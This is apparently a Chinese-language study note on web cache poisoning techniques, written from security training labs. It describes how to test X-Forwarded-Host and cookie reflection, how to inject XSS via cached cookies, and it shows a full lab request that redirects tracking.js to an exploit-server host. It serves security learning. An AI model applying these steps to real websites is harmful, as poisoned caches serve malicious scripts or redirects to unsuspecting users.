缓存中毒

缓存中毒的原理与缓存欺骗一致

X-Forwarded-Host缓存中毒

X-Forwarded-Host 是一个常见的 HTTP 请求头,用于在代理服务器环境中标识客户端原始请求的 Host 头值。这个头部在现代 Web 架构中广泛使用,但也带来了显著的安全风险。

如果服务器不当使用该值生成内容或缓存键,可能导致其他用户收到被污染的响应。

测试步骤:

  • 在请求中添加X-Forwarded-Host: 1.2.3.4,然后检查响应中是否存在1.2.3.4即可

X-Forwarded-Hostx-forwarded-for的区别:

  • X-Forwarded-Host:缓存投毒、SSRF/不安全重定向
  • x-forwarded-for:ip欺骗、日志伪造

Cookie头缓存中毒导致XSS

测试步骤:

  • 检查允许缓存且set-cookie了的页面,检查cookie的值是否出现在响应中(html)
  • 出现在响应中,意味着可以通过对应的cookie进行缓存投毒
  • 修改cookie值,注入xss脚本

多标头缓存中毒导致不安全重定向+xss

X-Forwarded-Host缓存中毒的变种,在X-Forwarded-Host的基础上需要添加X-Forwarded-Scheme: http(除https以外的,如http、nohttp),比如以下请求包:

GET /resources/js/tracking.js HTTP/1.1
Host: 0a8000ba040e8cdc803d036d00330044.web-security-academy.net
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
X-Forwarded-Host: exploit-0aeb00dc041b8c0a80f6028601630013.exploit-server.net
X-Forwarded-Scheme: http
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i


使用X-Forwarded-Scheme 决定是否触发 HTTPS 重定向(非 https 值会强制跳转),然后会取X-Forwarded-Host进行重定向,path不变

未知标头缓存中毒

使用param miner插件进行扫描找出有问题的请求头

当服务器返回 Vary: User-Agent 时,它告诉缓存系统: “同一个 URL 可能返回不同的内容,具体取决于客户端的 User-Agent 值。” 缓存服务器会根据 User-Agent 的差异存储多个版本的响应。